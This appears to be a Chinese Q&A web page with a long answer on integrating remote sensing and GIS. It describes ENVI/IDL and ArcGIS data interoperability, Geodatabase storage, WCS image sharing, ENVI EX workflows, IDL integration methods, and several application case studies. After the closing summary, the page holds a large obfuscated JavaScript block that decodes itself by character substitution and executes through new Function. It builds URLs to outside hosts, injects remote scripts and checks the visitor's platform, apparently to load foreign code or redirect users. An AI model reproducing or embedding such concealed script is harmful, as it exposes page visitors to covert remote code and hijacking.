遥感与地理信息系统一体化的详细信息

2025-02-11 13:29:33
推荐回答(1个)
回答1:

本专题介绍以下几个内容:
l遥感与GIS
l遥感与GIS一体化集成技术
lENVI/IDL与ArcGIS一体化集成方案
lENVI/IDL与ArcGIS一体化集成操作演示
lENVI/IDL与ArcGIS集成开发案例
1 遥感与GIS
遥感是空间数据采集和分类的有效工具,GIS是管理和分析空间数据的有效工具(彭望琭等,2002)。两者是空间信息的主要组成部分,有着必然的联系。遥感具有动态、多时相采集空间信息的能力,遥感影像已经成为GIS的主要信息源。作为GIS的核心组成部分,遥感影像是提供及时信息的理想方式。在遭遇灾害的情况下,遥感影像是唯一我们能够立刻获取的地理信息;在地图缺乏的地区,遥感影像甚至是我们能够获取的唯一信息;
下载(47.43 KB)
5 天前 22:20
图1 遥感与GIS
在空间信息的许多行业,离开遥感影像,GIS就是不完整的。另一方面,遥感获取丰富的、海量的空间数据有赖于GIS的有效管理与共享,同时利用GIS强大的空间分析功能提取更深层次的专题信息,全面提升影像的利用价值。
下载(46.73 KB)
5 天前 22:20
图2 遥感与GIS一体化集成意义
2 遥感与GIS一体化集成技术
遥感影像类似于GIS中的栅格数据,遥感和GIS很容易在数据层次上实现集成(邬伦等,2001)。GIS软件没有提供完善的图像处理功能,遥感软件中也缺少空间分析及数据管理工具。遥感和GIS一体化集成,可以有以下三个层次及途径实现。
(一)数据一体化管理与共享
l数据互操作
遥感影像和图像分析功能可以作为核心组成部分与GIS实现一体化,首先解决的问题就是遥感与GIS平台之间的数据互操作问题。数据互操作实现有两个途径:
一是将遥感数据或者GIS数据都以标准格式保存,两个平台都支持;
二是遥感和GIS平台直接支持对方数据格式。很明显后者比前者更加方便。
l栅矢数据集中和分布式管理
在遥感中,数据主要储存格式为栅格,GIS中主要由矢量数据格式组成。栅格和矢量一体化管理,需要这样一种数据模型,同时储存栅格和矢量数据,支持分布式管理。
l基于服务的企业级共享
影像天然地具有企业级应用的潜力,因为它可以实现多个用户在同一幅图上同时进行操作。而这对于大型企业级应用更加有利,其中最主要的一项优势就是节省成本。我们可以分享同一影像资源,从而显著地减少成本。而影像由于自身的特点,具有很高的存储要求,尤其是那些高空间分辨率、多光谱影像。传统以纸质影像图或者电子文件分发的形式也能实现数据共享,但是共享效率比较低。如今基于Web services的共享方式提供了一种合理的解决方式,它集中利用了计算机资源,可以为若干个客户端提供影像共享服务。
(二)平台一体化分析
在遥感软件中进行的图像处理工作流,与GIS软件下的GIS工作流实现无缝链接和交换。如在遥感软件中处理的数据通过菜单功能直接传送到GIS软件中,无需中间的保存、打开等步骤;GIS软件中分析的数据,直接导入遥感软件中,并且保持同步显示;遥感软件中集成GIS软件的部分组件功能。
虽然在两个不同的软件平台下工作,操作感和处理效率类似在一个平台下作业。
(三)系统一体化集成开发
大多数遥感和GIS软件平台都提供了二次开发功能。如在进行GIS系统开发时,将专业的影像数据处理和分析工具集成到GIS系统环境中,在同一系统中既能完成遥感数据的专业处理与分析,又能完成GIS空间分析和发布共享等工作,形成一个遥感与GIS一体化集成系统。
要实现一体化集成开发系统,前提是遥感和GIS软件平台提供的二次开发接口,都能通过程序开发语言调用,并整合在一起。
3 ENVI/IDL与ArcGIS一体化集成方案
遥感与GIS不仅从数据上,还会从整个软件构架体系上真正实现融合,从而可以达到优势互补,进一步提升GIS软件的可操作性,提升空间和影像分析的工作效率,并有效节约系统成本。为了适应这种新的用户需求和未来的技术发展趋势,更好地为用户提供服务,全球最大的GIS技术提供商ESRI公司与全球遥感领域的领导者美国ITT Visual Information Solutions(简称ITT VIS)公司,建立了全球战略合作伙伴关系,共同开发和建设遥感与GIS一体化平台。
ENVI是由遥感领域的科学家采用IDL(交互式数据处理开发语言)开发的一套功能强大的、完整的遥感图像处理软件。ArcGIS是由ESRI公司开发的、全球使用最广的GIS软件。ENVI/IDL与ArcGIS一体化集成解决方案,在真正意义上实现了遥感与GIS一体化集成。
(一)数据一体化管理与企业级共享
lENVI/IDL与ArcGIS数据互操作
从2007年6月开始,ESRI公司和ITT VIS公司宣布两者的商务和技术合作计划。两个平台互相支持对方的格式,同时两者都支持一些通用文件格式,如GeoTiff、JPEG2000等(图3)。
图3 ENVI/IDL与ArcGIS数据互操作
l栅矢数据集中和分布式管理
Geodatabase是按照一定的模型和规则组合起来的存储空间数据和属性数据的容器,已经成为ArcGIS的核心数据模型,它实现了多源空间数据的集中和分布式管理。它是一种天然的遥感与GIS数据一体化储存模型。根据不同的应用需求,它分为三个级别:File Based Geodatabase、Personal Geodatabase、Enterprise(SDE)Geodatabase。其中Enterprise(SDE)Geodatabase支持分布式管理与储存。
图4 天然的遥感与GIS数据一体化储存模型
ENVI完全支持ArcGIS Geodatabase各个级别的读写,在ENVI、ENVI Zoom、ENVI EX中,都可以通过菜单Remote Connection Manager打开相应的面板,也可以通过Save to ArcGIS Geodatabase菜单将数据保存到Geodatabase。
图5 打开Geodatabase以及服务的数据
图6数据保存到Geodatabase
l基于服务的企业级共享
ENVI可以当作一个客户端,打开OGC标准的服务(WCS/WMS),这些服务可以是ArcGIS Server发布的。
其中WCS服务发布的影像数据保留了原始的数据的像元值和波段信息,因此通过WCS服务获得的影像可以做进一步的分析,跟分析本地影像效果是一样。
图7 远程数据接收与本地处理、成果共享
(二)ENVI/IDL与ArcGIS平台一体化分析
最新版的ENVI4.7推出专门为GISer使用的ENVI EX模块,这个模块整合了部分ArcGIS®和ENVI功能,将影像处理和分析与GIS工作流无缝链接到一起,在ENVI EX中能完成三个方面的工作:
1)无缝链接GIS工作流
ENVI EX将影像处理和分析与GIS工作流无缝链接到一起,在ENVI EX中能实现:
轻松交换数据和图层文件:ArcGIS中的数据或图层文件(*.lyr)可以通过鼠标拖拽方式放到ENVI EX上进行显示。
查看和处理ArcGIS图层:ENVI EX支持ArcGIS的图层符号化显示,即可以完全按照ArcGIS风格和样式显示图层数据。
同步查看图像处理结果:在ENVI EX下执行图像处理过程中,动态修改参数,在ENVI EX和ArcGIS可以看到相同的变化结果。
2)向导式专业影像处理工具
ENVI EX提供GIS用户最需要的图像处理和分析功能,并以流程化、向导操作方式提供。并具有透视窗口随时预览处理结果。
3)成果共享
ENVI EX提供多种成果共享方式,将影像处理与分析结果无缝集成到GIS工作流中。
l存储为通用格式或PowerPoint文件
l直接保存Geodatabase或输出Shapefile
l在ENVI EX中直接调用ArcGIS制图组件进行出图
l通过菜单直接将成果导入ArcMap进行制图,无需中间保存与打开过程。
同样ENVI Zoom视窗具有ENVI EX类似的功能。
图8 平台一体化分析方式
(三)ENVI/IDL与ArcGIS集成开发
ENVI是一个非常开放的平台,提供一个健全的函数库(图9),几何涵盖ENVI平台大部分图像处理功能。
图9 ENVI部分函数库列表
同时IDL具有很好的扩展性,能很方便地与其他开发环境(VB、VC、.NET、Java等)进行集成开发。IDL可以通过以下方式与其他语言集成开发:
1)Callable技术
IDL作为动态链接库被外部程序调用的技术。使用Callable 技术,外部程序可以像IDL命令行一样使用IDL命令或调用执行IDL的程序。
简单实现方法(在vc6.0):
1.将\ITT\IDL71\external\include目录下的idl_export.h头文件,添加到VC工程中
2.工程→设置→连接 中的对象/库模块 中 添加idl.lib
3.添加Library files 安装路径\ITT\IDL71\BIN\BIN.X86
4.系统变量path中添加IDL的安装路径\ITT\IDL71\BIN\BIN.X86
5.进行初始化IDL_Win32Init(0,handle,NULL,0)
6.执行IDL命令行IDL_ExecuteStr(“restore,‘satstretch.sav’”)
7 .IDL_Cleanup(true)
2)对象输出助手
将IDL编写的功能模块输出为Java类和COM组件(.DLL或者.OCX)。
3)IDLDrawWidget (VS2005中)
首先在建立一windows应用程序。在工具箱上右键→选择项→COM组建选中IDLDrawWidget Control 3.0 拖动 控件到窗体上 axIDLDrawWidget1.IdlPath设定IDL库文件目录 n = axIDLDrawWidget1.InitIDL((int)this.Handle) axIDLDrawWidget1.ExecuteStr(“”);执行IDL命令 4)COM_IDL_CONNECT
同IDLDrawWidget类似。
同时,ArcGIS提供ArcObjects软件组件库,它提供了模块化、可伸缩、跨平台的通用API。
ENVI/IDL与ArcGIS集成开发可以通过以下三个途径实现:
图10 三种集成开发模式
1)ENVI / IDL与ArcGIS桌面定制
通过ArcGIS桌面SDK及开发语言(如Python、VBA、VB、VC、.net等),将ENVI/IDL图像处理与分析功能集成到ArcMAP中:
图11将 ENVI/IDL功能嵌入ArcMAP Toolbar中
图12 ENVI/IDL功能嵌入ArcToolBox中
图13 ENVI/IDL功能嵌入ModelBuilding(GP工具)
2)ENVI / IDL与ArcGIS Engine
ArcGIS Engine是组件式开发工具包,可以灵活、方便地定制地图及GIS解决方案。ENVI / IDL与ArcEngine的一体化集成开发具有以下三个特点:
1.通过ArcGIS Engine解决了数据浏览、栅格矢量叠加、矢量编辑、渲染、专题制图以及空间分析等问题;
2.将ENVI/IDL作为影像处理引擎,解决专业的影像处理过程;
3.基于成熟平台的二次开发,快速实现了系统无缝集成开发,而且大大减少了程序的开发量、开发周期,减少了系统开发的风险,开发者可以将大部分精力放在系统业务流程上。
图14 ENVI/IDL与ArcEngine一体化集成开发
3)ENVI / IDL与ArcGIS Server
将ENVI/IDL图像处理与分析功能集成在服务器端,以ArcGIS Server作为地图服务器,将处理结果传递到客户端,较好地实现了B/S模式下对影像实时计算处理的需求。
ENVI/IDL与ArcGIS一体化集成打破了传统单一的遥感图像处理流程,形成影像数据处理与分析、管理、空间分析、发布共享的空间信息工程化与流程一体化(图15)。

图15空间信息工程化与流程一体化的最佳组合
4 ENVI/IDL与ArcGIS一体化集成操作演示
(一)企业级共享
下面以一个比较简单的例子演示这个过程。
1)将ENVI中处理好的数据用ArcGIS Server发布成wcs服务。
图16 发布wcs服务
2)获取WCS服务的URL地址。
图17 获得WCS服务URL
3)打开ENVI或者ENVI Zoom或者 ENVI EX,这里打开ENVI EX。在ENVI EX中,选择File->Remote Connection Manager(图18),在Remote Connection Manager中New一个连接,连接的属性面板中(Connection Properies)中,Type中选择OGC Web Coverage Servics(WCS)项,将WCS服务的URL输入URL项中,后加一个英文半角“?”,其他信息自动从URL中获取,单击OK。
图18新建一个WCS连接
4)可以看到获取的WCS服务中的影像数据(图19)。单击Open按钮,将获取的数据在ENVI EX中打开。
图19 获取的WCS服务中的影像信息
5)在ENVI EX中打开的WCS服务中的影像数据(图20),可以对这个影像数据进行分析,如这里对其进行Classification,这是一个流程化的操作,一路Next下去(也可以修改一些参数),其中可以打开Proview功能对结果随时预览。
图20 对WCS服务中的影像数据进行分析
6)到输出结果步骤时,可以选择GDB或者Shapefile,这里选择保存到GDB中(如图21)。
图21 保存结果到Geodatabase中
这样我们就完成了一个比较典型的影像共享过程:影像服务发布(数据中心)->使用影像服务(数据使用单位)->浏览与分析影像->分析结果储存与再次共享。
(二)平台一体化分析
下面以利用影像来更新矢量数据的例子演示ENVI/IDL与ArcGIS平台一体化分析过程。
1)将“旧”矢量数据和“新”的影像数据加载到ArcMAP中(图22)。
图22 加载矢量和影像数据的ArcMAP
2)根据“旧”矢量数据和影像目视解译结合方法选择部分矢量要素作为样本。生成新的一个矢量图层。
图23 选取的样本
3)打开ENVI EX(ENVI Zoom也可以),鼠标左键在ArcMAP中单击样本矢量层拖拽到ENVI EX中,可以看到ENVI EX中已经将样本图层打开并保持ArcMAP一样的专题符号。同样的方法将影像拖拽到ENVI EX中(图24)。
图24ENVI EX中打开矢量样本和影像数据
4)在ENVI EX中,鼠标左键按住影像图层拖拽到Toolbox中的Classification流程化工具中。启动Classification流程化工具。单击Next按钮,选择监督分类(Use Training data),将前面的矢量样本导入(图25)。
图25 选择矢量样本
5)同样可以用Preview预览分类结果。一路Next,在Save Results同样可以选择保存文件还是GDB。这里选择保存为shapefile文件。
6)在ENVI中加载获得的结果,选择File->Print,集成了ArcMAP制图输出组件,支持ArcMAP制图模板。
图26 打印输出结果
7)或者在ENVI EX的Layer Manager中分类矢量结果图层上单击右键,在快捷菜单中选择Send to ArcMap命令,可以直接将结果传送到ArcMap平台中。
8)选择ENVI EX中的Geo Link To ArcMap命令,可以将ENVI与ArcMap进行地理链接,使两个平台浏览的范围保持一致。
这个例子完成了一个GIS工作流与遥感工作流无缝链接的过程。
5 ENVI/IDL与ArcGIS集成开发案例
(一)城市遥感动态监测管理系统——北京建设数字科技股份有限公司
以地理信息基础平台为基础,3S技术一体化为核心,结合专业遥感处理软件ENVI,实现对城市范内区域、街道、重点对象的影像特征的采样和分析,快速获取其空间特征。并利用ArcGIS Engine的叠加分析、缓冲区分析等功能,实现对多时相城市航空影像数据之间、遥感影像数据与规划编制、规划审批成果之间的比对分析,及时了解城市的土地利用变化情况,掌握城市建设中与规划不符的情况。并通过核查上报、统计分析等手段,为城市规划监察、城市管理服务。
图27 系统主界面
图28 遥感影像信息分类提取
(二)环北京土地利用动态监测与评价平台——2009ESRI开发大赛ENVI/IDL组一等奖作品,首都师范大学
系统的基本功能包括各种栅格数据的加载、显示(单波段显示和多波段合成)、数据管理、数据格式转换、波段统计、ROI选取工具、图像的增强等功能。
在业务功能方面,系统主要分成类三个模块,其中包括监测指标和计算模块、土地利用信息提取模块和土地资源监测评价模块。监测指标和计算模块的功能主要包括NDVI(归一化植被指数)、MSAVI(土壤调整植被指数)、FC(植被覆盖度)、Slope(DEM的坡度计算)和PCA变换(主成分变换);土地利用信息提取模块包括基本的图像信息提取方法,如监督分类、非监督分类、目视解翻,并提供的基本的分类后处理的功能;土地资源监测评价模块主要包括:土壤侵蚀监测评价、土地退化监测评价、土地沙化监测评价和土地盐碱化监测评价。其中前两种评价主要是用IDL编写的决策树算法,后两个评价介于ArcGIS Desktop的model builder创建模型,在ArcGIS Engine的Geoprocessing中进行调用。
图29 系统主界面
图30 土壤侵蚀监测评价子模块
图31 支持向量机监督分类
(三)遥感震害快速评估技术系统——中国地震局地壳应力研究所
遥感震害快速评估技术系统是在地震遥感震害快速增强、震害分类提取与震害评估技术研究的基础上,针对国家抗震救灾指挥和地震现场评估的需要,研制的适应近地表遥感信息获取系统获取的多景图像的技术系统。用户可以利用该系统在图像接收后2-6小时内提供初步的宏观灾情提取结果与损失评估结果,6-18小时内提供准确的宏观灾情分布结果和损失评估结果。
遥感震害快速评估技术系统的主要功能包括遥感(RS)和地理信息系统(GIS)的无缝结合,近地表数据处理,遥感影像快速校正,遥感影像快速增强,用面向对象等实用的分类技术进行震害识别,震害损失评估,与数据库结合,成果图像的快速显示和制图,专用的评估流程和集体评估的集成。
图32综合评估平台
图33 影像自动配置子功能
(四)农作物调优栽培决策支持系统——国家农业信息化工程技术研究中心
农作物调优栽培决策支持系统是依托农业部公益性行业科研专项“主要农作物调优栽培信息化技术”项目,基于最新的ENVI/IDL技术、WebGIS、GPS、企业空间数据库、通信技术、作物模拟技术等信息技术和农学知识的高度集成,建立的用于主要农作物调优栽培的信息化决策支持系统。
系统主要面向农业管理部门、农业生产部门(如农场)、作物协会(如谷物协会)及大型涉农企业的专业技术及生产管理人员,对主要农作物的产前优良品种种植区划——产中调优栽培及产量、品质预报——产后指导按质收购等作物生产全过程进行信息化管理,最大限度地为农作物生产的信息化管理与粮食政策的制定提供决策支持。
系统通过采用ENVI/IDL编程技术实现对遥感影像的实时计算和处理,生成初步的作物分类结果以及影像光谱指数,结合野外采集的GPS定位数据、农学样点信息,综合分析各种常用的农学模型,通过WebGIS技术实现实时直观的专题图、统计图表、细节点击查询等多种展现方式,实现对作物长势监测、作物产量估算、作物品质预测、病虫害监测、干旱监测、冻害监测、肥水诊断等作物生产全过程的信息化管理。
系统采用Oracle10g +ArcSDE作为空间数据库,后台采用ENVI/IDL、ArcGIS Engine、ArcIMS实现遥感影像处理与发布,前端页面展现完全基于Ajax技术构建,综合采用了OpenLayers、JQuery、Google Maps API等脚本库。
图34 自定义植被指数计算界面
图35 作物长势分级专题图
6总结
随着空间信息市场的快速发展,遥感数据与GIS的结合日益紧密。遥感与GIS的一体化集成逐渐成为一种趋势和发展潮流。ENVI/IDL与ArcGIS为遥感和GIS的一体化集成提供了一个最佳的解决方案。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();